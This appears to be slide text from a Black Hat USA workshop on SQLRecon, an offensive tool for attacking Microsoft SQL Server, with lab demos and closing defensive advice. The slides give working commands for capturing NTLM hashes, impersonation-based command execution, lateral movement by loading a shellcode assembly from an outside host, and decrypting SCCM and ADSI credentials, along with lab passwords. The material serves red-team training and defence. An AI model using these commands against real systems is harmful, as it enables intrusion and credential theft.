  • 15. #BHUSA @BlackHatEvents Information Classification: General New Features for Black Hat SQLRecon v2.2.2 - Enumerate and Query MS SQL databases - Execute arbitrary operating system commands - Abuse impersonation - Attack linked MS SQL servers 57 Modules SQLRecon v3.3 + Ground up rewrite using MS C#/.NET code guide + Many new enumeration and execution modules + Support for attacking MECM / SCCM Databases + Better OPSEC and execution guardrails + Brand new wiki + And more! 83 Modules
  • 16. #BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments:
  • 17. #BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments: - An authentication type SQLRecon.exe /Auth:WinToken
  • 18. #BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments: - An authentication type - The hostname or IP address for a MS SQL Server SQLRecon.exe /Auth:WinToken /Host:SQL01
  • 19. #BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments: - An authentication type - The hostname or IP address for a MS SQL Server - A module SQLRecon.exe /Auth:WinToken /Host:SQL01 /Module:databases
  • 20. #BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments: - An authentication type - The hostname or IP address for a MS SQL Server - A module Example: Enumerating databases on a remote MS SQL Server. SQLRecon.exe /Auth:WinToken /Host:SQL01 /Module:databases
  • 21. #BHUSA @BlackHatEvents Information Classification: General Command Line Usage SQLRecon is straight forward to use. There are only three required arguments: - An authentication type - The hostname or IP address for a MS SQL Server - A module Example: Enumerating databases on a remote MS SQL Server SQLRecon.exe /Auth:WinToken /Host:SQL01 /Module:databases Shortform command line arguments and case-insensitive SQLRecon.exe /a:wintoken /h:172.16.10.101 /m:databases
  • 22. #BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers:
  • 23. #BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers: Authentication Type Example WinToken SQLRecon.exe /a:WinToken /h:host /m:module
  • 24. #BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers: Authentication Type Example WinToken SQLRecon.exe /a:WinToken /h:host /m:module WinDomain SQLRecon.exe /a:WinDomain /d:domain /u:user /p:pass /h:host /m:module
  • 25. #BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers: Authentication Type Example WinToken SQLRecon.exe /a:WinToken /h:host /m:module WinDomain SQLRecon.exe /a:WinDomain /d:domain /u:user /p:pass /h:host /m:module Local SQLRecon.exe /a:Local /u:user /p:pass /h:host /m:module
  • 26. #BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers: Authentication Type Example WinToken SQLRecon.exe /a:WinToken /h:host /m:module WinDomain SQLRecon.exe /a:WinDomain /d:domain /u:user /p:pass /h:host /m:module Local SQLRecon.exe /a:Local /u:user /p:pass /h:host /m:module AzureAD SQLRecon.exe /a:AzureDomain /d:domain /u:user /p:pass /h:host /m:module
  • 27. #BHUSA @BlackHatEvents Information Classification: General Authentication Providers SQLRecon supports 5 different MS SQL Server authentication providers: Authentication Type Example WinToken SQLRecon.exe /a:WinToken /h:host /m:module WinDomain SQLRecon.exe /a:WinDomain /d:domain /u:user /p:pass /h:host /m:module Local SQLRecon.exe /a:Local /u:user /p:pass /h:host /m:module AzureAD SQLRecon.exe /a:AzureDomain /d:domain /u:user /p:pass /h:host /m:module AzureLocal SQLRecon.exe /a:AzureLocal /u:user /p:pass /h:host /m:module
  • 28. #BHUSA @BlackHatEvents Information Classification: General Module Overview SQLRecon has 83 different modules which can be used against MS SQL Server in a variety of scenarios Listed below are modules that can facilitate with privilege escalation, lateral movement, or command execution: Module Privilege Escalation Lateral Movement Command Execution xp_cmdshell ✅ ✅ ✅ OLE Automation Procedures ✅ ✅ ✅ CLR Integration for Custom .NET Assemblies ✅ ✅ ✅ Agent Jobs ✅ ✅ ✅ Cleartext ADSI Credential Retrieval ✅ MECM / SCCM User Management ✅ Cleartext MECM / SCCM Credential Retrieval ✅
  • 30. #BHUSA @BlackHatEvents Information Classification: General Get Involved! Rules Don’t DoS the lab. We’re all here to learn together. Don’t attack each other. We’re all here to learn together. You can attack AD and AAD if you want, but I promise you, it’s not going to get you anything.
  • 31. #BHUSA @BlackHatEvents Information Classification: General Get Involved! WiFi SSID: SQLRecon-Lab Password: SQLReconBH2023! Lab DC01 172.16.10.100 SQL01 172.16.10.101 SQL02 172.16.10.102 SQL03 172.16.10.104 MECM01 172.16.10.103 ecom01.database.windows.net Test Connection String SQLRecon.exe /a:WinDomain /d:kawalabs /u:jsmith /p:Password123 /h:172.16.10.101 /m:whoami Rules Don’t DoS the lab. We’re all here to learn together. Don’t attack each other. We’re all here to learn together. You can attack AD and AAD if you want, but I promise you, it’s not going to get you anything.
  • 32. #BHUSA @BlackHatEvents Information Classification: General Demo 1 Evaluating the current user’s permissions
  • 34. #BHUSA @BlackHatEvents Information Classification: General Demo 1 Recap - Used the whoami command to determine the permissions for the current user - Determined that KAWALABSJSmith is a Domain User in the KAWALABS.LOCAL domain.
  • 35. #BHUSA @BlackHatEvents Information Classification: General Demo 2 Locating MS SQL Servers in AD via SPNs
  • 37. #BHUSA @BlackHatEvents Information Classification: General Demo 2 Recap - Used SQLRecon to connect to AD in context of KAWLABSJSmith and locate MS SQL Servers via registered SPNs - Used SQLRecon to connect to SQL02 in context of KAWLABSJSmith and gather MS SQL Server information SQLRecon.exe /e:SQLSpns /d:kawalabs.local SQLRecon.exe /a:WinToken /h:SQL02 /m:info
  • 38. #BHUSA @BlackHatEvents Information Classification: General Demo 3 Enumerating Azure MS SQL Server Database
  • 40. #BHUSA @BlackHatEvents Information Classification: General Demo 3 Recap - Used SQLRecon to connect to an Azure MS SQL Server instance in context of KAWLABSJSmith and list permissions - Used SQLRecon to connect to an Azure MS SQL Server instance in context of KAWLABSJSmith and list databases - Performed an ad-hoc SQL query to obtain the contents of the cc table in the Payments database SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:Password123 /h:ecom01.database.windows.net /m:whoami SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:Password123 /h:ecom01.databases.windows.net /m:databases SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:Password123 /h:ecom01.databases.windows.net /database:Payments /m:query /c:”select * from cc”
  • 41. #BHUSA @BlackHatEvents Information Classification: General Demo 4 Unprivileged UNC Path Injection
  • 43. #BHUSA @BlackHatEvents Information Classification: General Demo 4 Recap - Used SQLRecon to connect to SQL02 in context of KAWLABSJSmith and initiate an SMB request to receive a NetNTLMv2 hash SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:172.16.10.19Projects
  • 44. #BHUSA @BlackHatEvents Information Classification: General Demo 5 Operational Security and Execution Guardrails
  • 46. #BHUSA @BlackHatEvents Information Classification: General Demo 5 Recap - Used SQLRecon to connect to SQL01 in context of KAWLABSJSmith and attempted to execute commands via xp_cmdshell - Attempted to enable xp_cmdshell on SQL01 in context of KAWLABSJSmith - As expected, KAWLABSJSmith encounters an execution guardrail on SQL01 due to insufficient privileges SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXP
  • 47. #BHUSA @BlackHatEvents Information Classification: General Demo 6 Privilege Escalation: Abusing Impersonation BUILTINUsers can impersonate sa!
  • 48. #BHUSA @BlackHatEvents Information Classification: General Demo 6 Privilege Escalation: Abusing Impersonation
  • 50. #BHUSA @BlackHatEvents Information Classification: General Demo 6 Recap - Used SQLRecon to connect to SQL02 in context of KAWLABSJSmith and enumerate accounts that can be impersonated - Enabled OLE Automation Procedures on SQL02 via impersonation - Executed an arbitrary command using OLE Automation Procedures on SQL02 by abusing impersonation SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:”powershell.exe ls 172.16.10.19Projects”
  • 51. #BHUSA @BlackHatEvents Information Classification: General Demo 6 Recap - Enabled xp_cmdshell on SQL02 via impersonation - Executed an arbitrary command using xp_cmdshell on SQL02 by abusing impersonation - Practiced good OPSEC by reverting OLE Automation Procedures and xp_cmdshell on SQL02 to the original state SQLRecon.exe /a:WinToken /h:SQL02 /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
  • 52. #BHUSA @BlackHatEvents Information Classification: General Demo 7 Lateral Movement: Abusing Linked MS SQL Servers SQL02 has an MS SQL Server link to SQL03
  • 53. #BHUSA @BlackHatEvents Information Classification: General Demo 7 Lateral Movement: Abusing Linked MS SQL Servers
  • 54. #BHUSA @BlackHatEvents Information Classification: General Demo 7 Lateral Movement: Abusing Linked MS SQL Servers - CLR Integration allows custom .NET assemblies to be imported into MS SQL Server - Assemblies get stored inside a SQL database Stored Procedure - You can then execute whatever is inside the custom assembly!
  • 55. #BHUSA @BlackHatEvents Information Classification: General Demo 7 Lateral Movement: Abusing Linked MS SQL Servers Basic Template: gist.github.com/skahwah/c92a8ce41f529f40c14715c91b8f90ce Process Hollowing: gist.github.com/skahwah/a585e176e4a5cf319b0c759637f5c410 // sql.cs // C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempsql.cs using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.Diagnostics; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void CustomFunctionName() { Process proc = new Process(); proc.StartInfo.FileName = "C:WindowsSystem32notepad.exe"; proc.Start(); } }
  • 57. #BHUSA @BlackHatEvents Information Classification: General Demo 7 Recap - Used SQLRecon to connect to SQL02 in context of KAWLABSJSmith and enumerate linked MS SQL Server - Listed permissions on SQL03 after riding the MS SQL Server link via SQL02 - Enabled CLR Integration on SQL03 via SQL02 - Downloaded a custom .NET CLR assembly via HTTPS and executed it on SQL03 via SQL02 in order to laterally move SQLRecon.exe /a:WinToken /h:SQL02 /m:links SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
  • 58. #BHUSA @BlackHatEvents Information Classification: General Demo 8 Credential Abuse: ADSI Double-Link Boomerang SQL03 has an ADSI link to DC01
  • 59. #BHUSA @BlackHatEvents Information Classification: General Demo 8 Credential Abuse: ADSI Double-Link Boomerang
  • 61. #BHUSA @BlackHatEvents Information Classification: General Demo 8 Recap - Used SQLRecon to connect to SQL02 in context of KAWLABSJSmith and enumerate links on SQL03 - Started a local LDAP server on SQL03 via SQL02 an obtained the cleartext credential for the account used to link SQL03 to DC01 SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
  • 62. #BHUSA @BlackHatEvents Information Classification: General Demo 9 SCCM / MECM Enumeration
  • 64. #BHUSA @BlackHatEvents Information Classification: General Demo 9 Recap - Used SQLRecon to connect to the database of MECM01 and list databases - Enumerated users who are authorized to authenticate against SCCM - Listed tasks configured in SCCM SQLRecon.exe /a:WinToken /h:MECM01 /m:databases SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sTaskList
  • 65. #BHUSA @BlackHatEvents Information Classification: General Demo 10 Privilege Escalation: SCCM / MECM
  • 67. #BHUSA @BlackHatEvents Information Classification: General Demo 10 Recap - Used SQLRecon to connect to the database of MECM01 and list vaulted credentials - Decrypted SCCM vaulted credentials (shout out to Adam Chester @_xpn_) SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
  • 68. #BHUSA @BlackHatEvents Information Classification: General Defensive Considerations
  • 69. #BHUSA @BlackHatEvents Information Classification: General Defensive Considerations Check out the Wiki for comprehensive Prevention, Detection and Mitigation guidance! github.com/xforcered/SQLRecon/wiki
  • 70. #BHUSA @BlackHatEvents Information Classification: General Defensive Considerations Top 3 Network Security Controls - Account for network routes to MS SQL Server - Limit routes to only authorized set of systems/subnets - Ensure you are receiving telemetry via network logging and monitoring tools github.com/xforcered/SQLRecon/wiki
  • 71. #BHUSA @BlackHatEvents Information Classification: General Defensive Considerations Top 3 Endpoint Security Controls - Regularly control tune your EDR solutions - Evaluate if your host-based security controls (EDR / AV) supports scanning of .NET assemblies in memory - Application allow listing github.com/xforcered/SQLRecon/wiki
  • 72. #BHUSA @BlackHatEvents Information Classification: General Defensive Considerations Top 3 MS SQL Server Security Controls - Follow the Microsoft SQL Server security best practices - Consider removing or restricting the BUILTINUsers account and low privilege groups from authenticating against MS SQL Server instances - Evaluate impersonation and MS SQL Server links github.com/xforcered/SQLRecon/wiki
  • 73. #BHUSA @BlackHatEvents Information Classification: General @sanjivkawa github.com/skahwah Thank You IBM X-Force Red @xforcered github.com/xforcered/SQLRecon Question or Comments?